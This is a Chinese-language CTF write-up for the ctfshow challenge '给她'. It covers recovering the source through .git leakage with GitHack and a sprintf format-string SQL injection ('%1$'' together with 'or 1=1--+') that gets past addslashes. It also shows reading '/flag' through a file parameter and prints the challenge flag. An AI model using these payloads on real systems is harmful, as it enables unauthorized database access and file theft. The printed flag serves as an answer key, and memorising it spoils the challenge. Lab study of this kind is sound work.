初识: 一开始看到这个题目以为是sql注入,尝试了各种sql注入转义次都注入不了
.git泄露:最后还是看了一下大佬的解题,发现方向就错了,“给她”——“git”,这题的入口是.git泄露。
我是纯小白,看到这又去了解了一次啊.git泄露,有个大佬写得非常详细
https://blog.csdn.net/qq_45521281/article/details/105767428
GitHack下载地址:https://github.com/lijiejie/GitHack
使用: 找到下载目录输入 python GitHack.py https://xxxxxxxxxxxxx/.git/
python2 GitHack.py https://xxxxxxxxxxxxx/.git/为ctfshow给她 赛题的url
打开hint.php
sprintf漏洞
https://blog.csdn.net/WQ_BCJ/article/details/85057447
https://blog.csdn.net/alex_bean/article/details/102721959
通过底层实现代码可以发现,sprintf()方法就是对15种类型做了匹配,15种类型以外的就直接break了没有做任何处理,所以就会导致一个问题:
如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。如果%1$ + 非arg格式类型,程序会无法识别占位符类型,变为空
因此sprintf注入的原理就是用一个15种类型之外的"\" 来代替格式字符类型让函数替换为空,则“%1$\'”后面的单引号就能闭合前面的单引号。
此外,还要注意函数addslashes()作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(')双引号(")反斜杠(\)NULL。比如下图,这样就造成了得结果是我们无法在注入的过程当中使用单引号(’)
举一个例子
<?php
//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL
$input = addslashes ("%1$' or 1=1#" );
$b = sprintf ("AND b='%s'", $input );
echo $b;
echo '<br/>';
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空
echo $sql ;
?>
输出:
那么这里要构造%1$ + 非arg格式类型,1是因为%数量大于arg数量
?name='admin'&pass=123%1$' or 1=1--+
addslashes()将'转义成\' 则passpass=123%1$\'
最后$sql为
select * from user where name='admin' and pass='123' or 1=1--+'
来到了这个页面
查看源码
flag就在这个页面
抓个包
cookie中发现奇怪的地方,解码看看
尝试用php伪协议
没有显示
使file=/flag
得到flag
ctfshow{4ef5edb8-d547-4400-9759-9027180b531f}
萌新赛真难!!!